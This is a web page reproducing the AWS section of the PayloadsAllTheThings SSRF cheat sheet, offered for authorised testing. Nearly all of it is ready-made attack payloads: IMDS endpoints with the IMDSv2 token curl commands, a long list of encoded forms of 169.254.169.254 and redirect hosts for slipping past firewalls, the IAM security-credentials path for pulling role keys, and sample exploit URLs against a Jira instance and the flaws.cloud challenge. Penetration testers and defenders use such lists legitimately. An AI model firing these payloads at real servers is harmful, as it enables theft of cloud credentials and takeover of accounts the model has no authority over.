Skip to content

Server Side Request Forgery · passage 37 of 53

SSRF-Cloud-Instances: SSRF URL for AWS

3 code blocks · Server Side Request Forgery/SSRF-Cloud-Instances.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) * IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/` * IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`

  export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
  curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"

* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` In case of a WAF, you might want to try different ways to connect to the API. * DNS record pointing to the AWS API IP

  http://instance-data
  http://169.254.169.254
  http://169.254.169.254.nip.io/

* HTTP redirect

  Static:http://nicob.net/redir6a
  Dynamic:http://nicob.net/redir-http-169.254.169.254:80-

* Encoding the IP to bypass WAF

  http://425.510.425.510 Dotted decimal with overflow
  http://2852039166 Dotless decimal
  http://7147006462 Dotless decimal with overflow
  http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
  http://0xA9FEA9FE Dotless hexadecimal
  http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
  http://0251.0376.0251.0376 Dotted octal
  http://0251.00376.000251.0000376 Dotted octal with padding
  http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
  http://[::ffff:a9fe:a9fe] IPV6 Compressed
  http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
  http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
  http://[fd00:ec2::254] IPV6

These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.

http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]

This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.

http://169.254.169.254/latest/user-data

Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document

**Examples**: * Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` * *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`

Source: Server Side Request Forgery/SSRF-Cloud-Instances.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

  1. SSRF-Advanced-Exploitation: SSRF Advanced Exploitation§ 27text · SSRF-Advanced-Exploitation.md
  2. SSRF-Advanced-Exploitation: DNS AXFR§ 282 code blocks · SSRF-Advanced-Exploitation.md
  3. SSRF-Advanced-Exploitation: FastCGI§ 291 code block · SSRF-Advanced-Exploitation.md
  4. SSRF-Advanced-Exploitation: Memcached§ 301 code block · SSRF-Advanced-Exploitation.md
  5. SSRF-Advanced-Exploitation: MySQL§ 311 code block · SSRF-Advanced-Exploitation.md
  6. SSRF-Advanced-Exploitation: Redis§ 321 code block · SSRF-Advanced-Exploitation.md
  7. SSRF-Advanced-Exploitation: SMTP§ 332 code blocks · SSRF-Advanced-Exploitation.md
  8. SSRF-Advanced-Exploitation: WSGI§ 341 code block · SSRF-Advanced-Exploitation.md
  9. SSRF-Advanced-Exploitation: Zabbix§ 351 code block · SSRF-Advanced-Exploitation.md
  10. SSRF-Cloud-Instances: SSRF URL for Cloud Instances§ 36text · SSRF-Cloud-Instances.md
  11. SSRF-Cloud-Instances: SSRF URL for AWS§ 373 code blocks · SSRF-Cloud-Instances.md
  12. SSRF-Cloud-Instances: SSRF URL for AWS ECS§ 381 code block · SSRF-Cloud-Instances.md
  13. SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk§ 392 code blocks · SSRF-Cloud-Instances.md
  14. SSRF-Cloud-Instances: SSRF URL for AWS Lambda§ 401 code block · SSRF-Cloud-Instances.md
  15. SSRF-Cloud-Instances: SSRF URL for Google Cloud§ 414 code blocks · SSRF-Cloud-Instances.md
  16. SSRF-Cloud-Instances: Add an SSH key§ 423 code blocks · SSRF-Cloud-Instances.md
  17. SSRF-Cloud-Instances: SSRF URL for Digital Ocean§ 431 code block · SSRF-Cloud-Instances.md
  18. SSRF-Cloud-Instances: SSRF URL for Packetcloud§ 44text · SSRF-Cloud-Instances.md
  19. SSRF-Cloud-Instances: SSRF URL for Azure§ 452 code blocks · SSRF-Cloud-Instances.md
  20. SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace§ 461 code block · SSRF-Cloud-Instances.md
  21. SSRF-Cloud-Instances: SSRF URL for HP Helion§ 471 code block · SSRF-Cloud-Instances.md
  22. SSRF-Cloud-Instances: SSRF URL for Oracle Cloud§ 481 code block · SSRF-Cloud-Instances.md
  23. SSRF-Cloud-Instances: SSRF URL for Alibaba§ 491 code block · SSRF-Cloud-Instances.md
  24. SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud§ 501 code block · SSRF-Cloud-Instances.md
  25. SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD§ 511 code block · SSRF-Cloud-Instances.md
  26. SSRF-Cloud-Instances: SSRF URL for Docker§ 521 code block · SSRF-Cloud-Instances.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.